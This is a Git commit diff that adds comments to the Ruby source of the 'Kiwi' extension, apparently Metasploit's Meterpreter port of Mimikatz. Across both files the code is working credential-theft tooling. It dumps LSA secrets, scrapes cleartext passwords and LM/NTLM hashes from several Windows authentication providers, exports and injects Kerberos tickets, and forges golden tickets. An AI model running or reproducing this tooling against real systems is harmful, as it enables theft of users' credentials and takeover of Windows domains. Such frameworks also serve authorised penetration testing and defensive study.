Add comments to the kiwi source

bug/bundler_fix
OJ 2014-03-19 15:45:53 +10:00
parent 3635fff98e
commit 0dcf992781
2 changed files with 230 additions and 53 deletions

View File

@ -21,6 +21,10 @@ module Kiwi
class Kiwi < Extension
#
# These are constants that identify the type of credential to dump
# from the target machine.
#
PWD_ID_SEK_ALLPASS = 0
PWD_ID_SEK_WDIGEST = 1
PWD_ID_SEK_MSV = 2
@ -31,6 +35,33 @@ class Kiwi < Extension
PWD_ID_SEK_TICKETS = 7
PWD_ID_SEK_DPAPI = 8
#
# List of names which represent the flags that are part of the
# dumped kerberos tickets. The order of these is important. Each
# of them was pulled from the Mimikatz 2.0 source base.
#
@@kerberos_flags = [
"NAME CANONICALIZE",
"<unknown>",
"OK AS DELEGATE",
"<unknown>",
"HW AUTHENT",
"PRE AUTHENT",
"INITIAL",
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
]
#
# Typical extension initialization routine.
#
def initialize(client)
super(client, 'kiwi')
@ -43,6 +74,11 @@ class Kiwi < Extension
])
end
#
# Dump the LSA secrets from the target machine.
#
# Returns [Array[Hash]]
#
def lsa_dump
request = Packet.create_request('kiwi_lsa_dump_secrets')
@ -93,25 +129,14 @@ class Kiwi < Extension
return result
end
@@kerberos_flags = [
"NAME CANONICALIZE",
"<unknown>",
"OK AS DELEGATE",
"<unknown>",
"HW AUTHENT",
"PRE AUTHENT",
"INITIAL",
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
]
#
# Convert a flag set to a list of string representations for the bit flags
# that are set.
#
# +flags+ [Integer] - Integer bitmask of Kerberos token flags.
#
# Returns [String]
#
def to_kerberos_flag_list(flags)
flags = flags >> 16
results = []
@ -127,6 +152,13 @@ class Kiwi < Extension
return results
end
#
# List available kerberos tickets.
#
# +export+ [Bool] - Set to +true+ to export the content of each ticket
#
# Returns [Array[Hash]]
#
def kerberos_ticket_list(export)
export ||= false
request = Packet.create_request('kiwi_kerberos_ticket_list')
@ -153,17 +185,41 @@ class Kiwi < Extension
return results
end
#
# Use the given ticket in the current session.
#
# +ticket+ [Array[Byte]] - Content of the Kerberos ticket to use.
#
# Returns [Bool]
#
def kerberos_ticket_use(ticket)
request = Packet.create_request('kiwi_kerberos_ticket_use')
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
client.send_request(request)
return true
end
#
# Purge any Kerberos tickets that have been added to the current session.
#
# Returns [Bool]
#
def kerberos_ticket_purge
request = Packet.create_request('kiwi_kerberos_ticket_purge')
client.send_request(request)
return true
end
#
# Create a new golden kerberos ticket on the target machine and return it.
#
# +user+ [String] - Name of the user to create the ticket for.
# +domain+ [String] - Domain name.
# +sid+ [String] - SID of the domain.
# +tgt+ [String] - The kerberos ticket granting token.
#
# Returns [Array[Byte]]
#
def golden_ticket_create(user, domain, sid, tgt)
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
@ -176,6 +232,13 @@ class Kiwi < Extension
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end
#
# Scrape passwords from the target machine.
#
# +pwd_id+ - ID of the type credential to scrape.
#
# Returns [Array[Hash]]
#
def scrape_passwords(pwd_id)
request = Packet.create_request('kiwi_scrape_passwords')
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
@ -197,36 +260,79 @@ class Kiwi < Extension
return results
end
#
# Scrape all passwords from the target machine.
#
# Returns [Array[Hash]]
#
def all_pass
return scrape_passwords(PWD_ID_SEK_ALLPASS)
end
#
# Scrape wdigest credentials from the target machine.
#
# Returns [Array[Hash]]
#
def wdigest
return scrape_passwords(PWD_ID_SEK_WDIGEST)
end
#
# Scrape msv credentials from the target machine.
#
# Returns [Array[Hash]]
#
def msv
return scrape_passwords(PWD_ID_SEK_MSV)
end
#
# Scrape LiveSSP credentials from the target machine.
#
# Returns [Array[Hash]]
#
def livessp
return scrape_passwords(PWD_ID_SEK_LIVESSP)
end
#
# Scrape SSP credentials from the target machine.
#
# Returns [Array[Hash]]
#
def ssp
return scrape_passwords(PWD_ID_SEK_SSP)
end
#
# Scrape TSPKG credentials from the target machine.
#
# Returns [Array[Hash]]
#
def tspkg
return scrape_passwords(PWD_ID_SEK_TSPKG)
end
#
# Scrape Kerberos credentials from the target machine.
#
# Returns [Array[Hash]]
#
def kerberos
return scrape_passwords(PWD_ID_SEK_KERBEROS)
end
protected
#
# Convert an array of bytes to a string-based hex dump in the format
# AA BB CC DD EE FF
#
# +bytes+ [Array[Byte]] - Array of bytes to convert.
#
# Returns [String].
#
def to_hex_dump(bytes)
return nil unless bytes
@ -235,11 +341,26 @@ protected
}.join(' ')
end
#
# Convert an array of bytes to a hex string without spaces
# AABBCCDDEEFF
#
# +bytes+ [Array[Byte]] - Array of bytes to convert.
#
# Returns [String].
#
def to_hex_string(bytes)
return nil unless bytes
bytes.unpack('H*')[0]
end
#
# Convert an array of bytes to a GUID string
#
# +bytes+ Array of bytes to convert.
#
# Returns [String].
#
def to_guid(bytes)
return nil unless bytes
s = bytes.unpack('H*')[0]

View File

@ -14,6 +14,7 @@ module Ui
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by OJ Reeves (TheColonial)
#
###
class Console::CommandDispatcher::Kiwi
@ -22,7 +23,16 @@ class Console::CommandDispatcher::Kiwi
include Console::CommandDispatcher
#
# Initializes an instance of the priv command interaction.
# Name for this dispatcher
#
def name
"Kiwi"
end
#
# Initializes an instance of the priv command interaction. This function
# also outputs a banner which gives proper acknowledgement to the original
# author of the Mimikatz 2.0 software.
#
def initialize(shell)
super
@ -63,36 +73,9 @@ class Console::CommandDispatcher::Kiwi
}
end
def scrape_passwords(provider, method)
get_privs
print_status("Retrieving #{provider} credentials")
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
]
)
accounts.each do |acc|
table << [
acc[:domain],
acc[:username],
acc[:password],
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
acc[:lm],
acc[:ntlm]
]
end
print_line table.to_s
return true
end
#
# Invoke the LSA secret dump on thet target.
#
def cmd_lsa_dump(*args)
get_privs
@ -148,6 +131,9 @@ class Console::CommandDispatcher::Kiwi
print_line
end
#
# Invoke the golden kerberos ticket creation functionality on the target.
#
def cmd_golden_ticket_create(*args)
if args.length != 5
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
@ -166,12 +152,18 @@ class Console::CommandDispatcher::Kiwi
print_good("Golden Kerberos ticket written to #{target}")
end
#
# Valid options for the ticket listing functionality.
#
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-e" => [ false, "Export Kerberos tickets to disk" ],
"-p" => [ true, "Path to export Kerberos tickets to" ]
)
#
# Output the usage for the ticket listing functionality.
#
def kerberos_ticket_list_usage
print(
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
@ -179,6 +171,9 @@ class Console::CommandDispatcher::Kiwi
@@kerberos_ticket_list_opts.usage)
end
#
# Invoke the kerberos ticket listing functionality on the target machine.
#
def cmd_kerberos_ticket_list(*args)
if args.include?("-h")
kerberos_ticket_list_usage
@ -243,11 +238,17 @@ class Console::CommandDispatcher::Kiwi
return true
end
#
# Invoke the kerberos ticket purging functionality on the target machine.
#
def cmd_kerberos_ticket_purge(*args)
client.kiwi.keberos_ticket_purge
print_good("Kerberos tickets purged")
end
#
# Use a locally stored Kerberos ticket in the current session.
#
def cmd_kerberos_ticket_use(*args)
if args.length != 1
print_line("Usage: kerberos_ticket_use ticketpath")
@ -264,41 +265,64 @@ class Console::CommandDispatcher::Kiwi
print_good("Kerberos ticket applied successfully")
end
#
# Dump all the possible credentials to screen.
#
def cmd_creds_all(*args)
method = Proc.new { client.kiwi.all_pass }
scrape_passwords("all", method)
end
#
# Dump all wdigest credentials to screen.
#
def cmd_creds_wdigest(*args)
method = Proc.new { client.kiwi.wdigest }
scrape_passwords("wdigest", method)
end
#
# Dump all msv credentials to screen.
#
def cmd_creds_msv(*args)
method = Proc.new { client.kiwi.msv }
scrape_passwords("msv", method)
end
#
# Dump all LiveSSP credentials to screen.
#
def cmd_creds_livessp(*args)
method = Proc.new { client.kiwi.livessp }
scrape_passwords("livessp", method)
end
#
# Dump all SSP credentials to screen.
#
def cmd_creds_ssp(*args)
method = Proc.new { client.kiwi.ssp }
scrape_passwords("ssp", method)
end
#
# Dump all TSPKG credentials to screen.
#
def cmd_creds_tspkg(*args)
method = Proc.new { client.kiwi.tspkg }
scrape_passwords("tspkg", method)
end
#
# Dump all Kerberos credentials to screen.
#
def cmd_creds_kerberos(*args)
method = Proc.new { client.kiwi.kerberos }
scrape_passwords("kerberos", method)
end
protected
def get_privs
unless system_check
print_status("Attempting to getprivs")
@ -323,11 +347,43 @@ class Console::CommandDispatcher::Kiwi
end
#
# Name for this dispatcher
# Infoke the password scraping routine on the target.
#
def name
"Kiwi"
# +provider+ [String] - The name of the type of credentials to dump (used for
# display purposes only).
# +method+ [Block] - Block that contains a call to the method that invokes the
# appropriate function on the client that returns the results from Meterpreter.
#
def scrape_passwords(provider, method)
get_privs
print_status("Retrieving #{provider} credentials")
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
]
)
accounts.each do |acc|
table << [
acc[:domain],
acc[:username],
acc[:password],
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
acc[:lm],
acc[:ntlm]
]
end
print_line table.to_s
return true
end
end
end